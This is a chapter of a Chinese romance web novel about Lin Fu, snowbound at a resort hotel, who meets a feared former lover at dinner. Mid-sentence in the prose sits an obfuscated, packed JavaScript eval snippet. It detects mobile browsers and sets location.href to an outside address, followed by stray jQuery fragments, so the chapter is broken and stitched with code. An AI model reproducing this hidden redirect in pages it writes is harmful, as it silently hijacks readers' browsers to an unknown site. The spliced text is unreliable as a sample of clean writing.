心绪不宁是从这场大雪开始的。
路被封住,下不了山,滑雪场发生严重事故,失踪一晚的游客还没有被找到,大概凶多吉少。
林茯小腿受了伤,走路吃力,仍满身风雪,把同行的“诗人”扛回了酒店。
“诗人”是岛上阿嬷介绍的,贺祝,书店老板。阿嬷人很好,菜也做得好吃,她没法拒绝。
第一次见面,没去岛上的咖啡馆,只是坐在海边闲聊。
林茯刚帮人打鱼回来,撸着袖子,挽着裤脚,从头到脚湿漉漉的,带着不好闻的鱼腥味。
贺祝对她傻笑,开口比较老套:“你挺漂亮的,之前交过男朋友吧。”
男人在意的那点事,她心里清楚,不避讳地谈起过去:“睡过的算吗?”
“那怎么不算。”贺祝脸色僵了下,态度还在维持,“你别误会,我不是那个意思,就是好奇,我也交过女朋友的。”
有些尴尬的沉默。
贺祝没忍住,憋了句:“对方是个怎样的人?”
林茯视线落在起伏的海面,明明在看海,贺祝却觉得她的心和眼睛都不在此地。
意识到自己或许不该再继续这个问题,想要改口的时候,林茯平静地回答他:
“忘了。”
一个她问心有愧的笨蛋,一个让她害怕的混蛋。
海风吹起林茯漂亮的黑发,贺祝迷了眼,自觉应该大方点,话锋一转:“阿嬷说你来岛上两年没有出去过?”
“今年春天出去面试过。”
“结果呢?”
林茯扭头,稍显震惊地看着他,贺祝一拍脑门,懊悔道:“不好意思,我太紧张了,要是通过了你也不会在这。”
她无所谓:“阿嬷没跟你说么?我大学没有毕业。”
“她说你大学读的重点,还拿了不少奖,怎么会没毕业?”
面试官也是这么问她的,只是语气不同,林茯记得最清楚地一句就是:“设计稿还行,但我们招聘不仅看重能力,更看重人品。”
站在对方的角度,她能理解,一个没能成功毕业的人应该是犯了不可饶恕的错,更何况这一切都是她当时主动选择,所以她为自己买单,接受别人的不接受。
只是在质疑人品后,把她的稿子拿去改了改又用上,实在折腾人,好在官司还是打赢,赔了她两万块钱,算是一笔意外收入,顺便赞助阿嬷翻新升级她的小饭店。
阿嬷是个极宽心的人,知道情况后,开口就是:“干!都什么破事!”
“没班上就随他爹的,在我这吃好喝好。”
然后,阿嬷就开始给她介绍对象,贺祝已经是第五个。
再这样下去,她在岛上真要社死。
海水拍上岸,林茯想了想,一副不放在心上的语气反问道:“贺老板,你很喜欢问别人讨厌的问题哦?”
贺祝大窘,换了个开心的话题,问她要不要出去玩。
林茯笑了笑:“好啊。”
她一笑,那双清澈又冰冷,如冬日湖水般的眼睛,氤氲出一丝雾气般的暖意。
贺祝回去后就写了首诗,那是他人生第一次投稿成功。他成了岛上的“诗人”,梦想是把林茯娶回书店,留在岛上,跟他好好过日子。
但很挫败,出来玩,想着关系能有点实质性突破,没来得及表现自己,偏头痛犯了,还被身材纤细的女孩扛回酒店,有点跌面。
林茯给他吃了止疼药,让他好好休息,先停止不必要的个人创作。
她好像很会照顾人,贺祝心里暖暖的,看着林茯要回自己房间,忍着头痛,从床上追到门口,拉住女孩手臂。
他实在有些急了,某些欲望胜过创作欲,那点文人傲骨又不屑于让他遮掩心思:“能……能留下来陪我吗?聊聊天也行。”
门没关,走廊有监控。
贺祝忽然要抱住她,男人的脸压下来的瞬间,林茯喉咙里涌出血腥味,想到最后那些夜晚,某人的吻总带着“置她于死地”的意味,脸色发白地往后一退,说抱歉:
“膝盖疼。”
贺祝松了手,十分局促:“很疼吗?要不要我帮你看看,要是受了伤,得处理,不然会发炎。”
“不碍事,我回去躺一会就好了。”
回到自己房间,林茯从包里拿出辅酶吞了两颗,缓了缓,胸口还是很闷,比过往更甚。
她感觉不太好。
酒店发来信息:
[尊敬的宾客,您好!我们非常关注当前恶劣天气给您带来的不便与困扰,您的舒适与安全始终是我们的首要关切。
酒店特别为您提供以下安排:您今晚房费已免,无需办理任何手续。同时,诚邀晚19:00至森林餐厅,享用我们为您准备的特别晚宴。希望能在这特殊时刻为您带来一些温暖与慰藉!]
开业不到一年,滨城评分最高的度假酒店,服务果然充满人文关怀。
客房的洄游动线设计也有亮点,打通每个空间,利用好自然光线,通透明亮,每个拐角都是处风景,泡在浴缸里还能看月亮和山野。
大学的时候,她作业画过类似的设计图,不过也不算少见,是这两年度假酒店设计的一个趋势。
那张手绘,是被一个男人摁在他腿上画出来的。画一张他撕掉一张,终于没耐心,掰过她的脸,冷厉的眼神恨不得把她掐死:“怎么不骂我?跟我说两句话很难吗?”
滨城,她又回到这里。
微信跳出贺祝的语音,很气恼,说他不去晚宴:“那几位游客还没有找到,我们在这开party,合适吗?”
诗人有悲天悯人的情怀,规劝她不要和那些人同流合污。
林茯体贴回复了句:“不吃饭,肚子会饿,我可以给你带点东西上来。”
她没什么爱好,馒头兑过水,有点钱舍不得花,就喜欢吃点好吃的。
免费的晚餐,不去白不去。
大面积落地窗,全景天窗,木质餐桌,暖色调灯光,餐厅被森林包裹,温馨而又放松。
人很多,咖啡和浓茶她不能喝,林茯吃了点东西,捧着热白开,看着外面的雪从松树枝头阵阵落下来。
高领收腰的白色毛衣裙,如瀑的长直黑发随意挽起,标准鹅蛋脸,天生自带一种温婉,无害,又慵懒勾人的气质。
但不笑的时候,整个人又是冷的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16242857|181943||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
旁边有人在聊天:
“搞这么漂亮,晚上有想法?”
“我下午在电梯看到一个男人,魂全丢他身上,就盼着他出现。”
“这么夸张?”
林茯听到她回味地用了八个字:“惊为天人,亵渎神明。”
下雪的地方全是诗人。
餐厅的灯熄灭,借着月光和雪光依旧明辨可晰,只是暖意消失,便添了刺骨的寒冷。
门被推开。
风雪扑面,冷风直直灌进来。
林茯眯了下眼,抬起视线,手中热水急速降温。
“是他。”
餐厅一阵不小的骚动。
雪月下,男人的出现吸引住众人视线。
一身昂贵剪裁的黑色西装,包裹高大修长的身材,肩上披着件大衣,周身散发着凛冽的气势。
忽明忽暗的光影中,众人看清一张轮廓分明、英俊锐利的脸。对方居高临下地睨了眼在场,目光却没落在任何人身上。
门关上,风雪俱灭,森林的呼啸声被隔绝在外。
有那么几秒钟,某种跟男人一起闯进来的“大雪满弓刀”追杀意味,仿佛是种错觉。
餐厅经理恭敬迎上去,在男人身边说了什么,服务生点上提前准备好的蜡烛。
暖意回归,氛围感更浓,像置身童话世界。
“邵总,可把您给盼来了。”
林茯垂了下眸,邵以持穿过人群,携着一身风雪,从她身边擦过。
站在她身后不到一米的距离。
“这么个天气,连夜爬上山来找我。”
声音低磁,带着簌簌的雪意,不怒自威,仿佛贴着她耳边响起。
熟悉而又陌生。
“项目出了问题,我必须亲自来给您赔罪。”
“不必紧张,只是点小问题,打个电话给我就行,何必跑一趟。”
林茯一怔,人变化还真是大。
衬衫、领带、腕表,一丝不苟,全是他以前最讨厌的东西。
自由不羁的摆烂公子哥,现在也是一副俊朗斯文、成熟精英的做派。
“那邵总,依您看,这件事接下来怎么做比较好?”
林茯接通电话,贺祝问她有没有回去,她说快了:“头还疼吗?想吃点什么,我带上来给你。”
邵以持倏然撩起眼皮,目光穿过面前男人的肩膀,落在某处虚空,眼底的温度骤然冷却。
男人浑身一颤,紧张地以为自己说错什么。
“小茯,我听不清你说话。”
林茯搁下水杯,一阵心悸,窒息感加深:“这边人多,我先挂了。”
她急需透口气,膝盖和心脏一样变沉,出了餐厅,冷热交替下,猛烈的晕眩感袭来。
“小姐,您没事吧?”
是那个餐厅经理,跟在她身后出来。
“需不需要我找人送您回房间?”
林茯看着他,男人的脸出现重影,她清楚自己的身体状况,点了点头:“麻烦了。”
雪还在下,她抬头看了眼天空。
有一种直觉,天亮会离她很远,五年前离她很近。